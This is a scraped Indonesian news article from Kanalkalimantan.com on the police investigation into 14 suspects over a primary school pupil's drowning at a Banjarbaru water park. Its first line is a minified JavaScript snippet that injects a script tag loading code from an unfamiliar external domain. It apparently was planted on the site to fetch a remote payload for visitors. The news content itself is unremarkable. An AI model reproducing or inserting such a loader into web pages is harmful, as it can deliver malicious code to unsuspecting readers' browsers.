(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – 14 tersangka dalam kejadian anak sekolah dasar meninggal dunia tenggelM di wahana bermain The Breeze Water Park Banjarbaru masih bergulir di kepolisian.
Berkas perkara peristiwa tenggelam MA (13), anak SD asal Batibati Kabupaten Tanah Laut pada Senin (9/6/2025) lalu, masih harus kembali dilengkapi untuk bisa diserahkan kepada Kejaksaan Negeri (Kejari) Banjarbaru.
Kanit Reskrim Polsek Liang Anggang, Ipda Isman Riskadany mengungkapkan hingga saat ini proses yang dilakukan penyidik adalah melengkapi keterangan saksi ahli, salah satunya Basarnas Banjarmasin.
Baca juga: Tipu-tipu Proyek Bikin Kanopi, Dua Lelaki Ditangkap Polisi
“Berkas perkara memang sudah kita kirim, namun kemarin ada pengembalian dari Kejaksaan untuk melengkapi pemeriksaan saksi ahli dari Disporabudpar dan Basarnas,” ujar Kanit Reskrim Polsek Liang Anggang, Ipda Isman Riskadany.
Dia mengatakan penyidik telah mengantongi keterangan saksi ahli dari Disporabudpar Banjarbaru, dan saat ini menunggu untuk Basarnas dapat memberikan keterangannya.
Keterangan ahli yang diperlukan dari Basarnas adalah terkait bagaimana prosedur evakuasi orang tenggelam.
“Untuk Basarnas kita masih menunggu informasi dari mereka terkait siapa nanti yang dijadikan saksi ahli dalam perkara ini,” ungkap dia.
Baca juga: Lomba Ikan Cupang dan Anggrek di Kabupaten Banjar, Ada Peserta dari Makassar
Lokasi tenggelam seorang pelajar SD laki-laki asal Batibati di wahana kolam renang The Breeze Water Park, Senin (9/6/2025) sore. Foto: Humas Polres Banjarbaru
Setelah semua keterangan saksi ahli ini dilengkapi, Isman memastikan berkas akan kembali dikirim ke kejaksaan untuk bisa memberikan kepastian hukum terhadap 14 tersangka.
“Mungkin dalam minggu ini ada jawaban dari Basarnas, harapannya bisa cepat selesai mengingat sampai sekarang masih tidak jelas status kepastian hukumnya karena belum ada putusan dari pengadilan,” jelas dia.
Baca juga: Hidupkan Kembali Kekayaan Kuliner Daerah, Disbudporapar Banjar Adakan Festival Kuliner Banjar 2025
Masih kata Ipda Isman sebanyak 14 tersangka yang terdiri dari 8 dewan guru, 1 kepala sekolah, serta dari pihak pengelola The Breeze 4 karyawan dan 1 manajemen saat ini belum dilakukan penahanan.
“Untuk tersangka semuanya tidak ada kita lakukan penahanan. Hanya masih wajib lapor saja, satu minggu satu kali,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Program belanja menarik dengan tajuk Shopping Funtastic 2025 resmi ditutup manajemen Q… Read More
KANALKALIMANTAN.COM, BANJARBARU - Petugas gabungan dari Dinas Perhubungan dan Satuan Polisi Pamong Praja Kota Banjarbaru… Read More
Oleh: Cheryl Rinjani Eileen Manurung, Prodi Geografi, ULM Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Amil Zakat Nasional (Baznas) Kabupaten Balangan menyalurkan berbagai program bantuan di… Read More
KANALKALIMANTAN.COM, PARINGIN – Kabupaten Balangan berhasil meraih predikat kabupaten terinovatif dengan Indeks Inovasi Daerah (IID)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Erna Lisa Halaby membuka kompetisi basket menutup tahun 2025… Read More
This website uses cookies.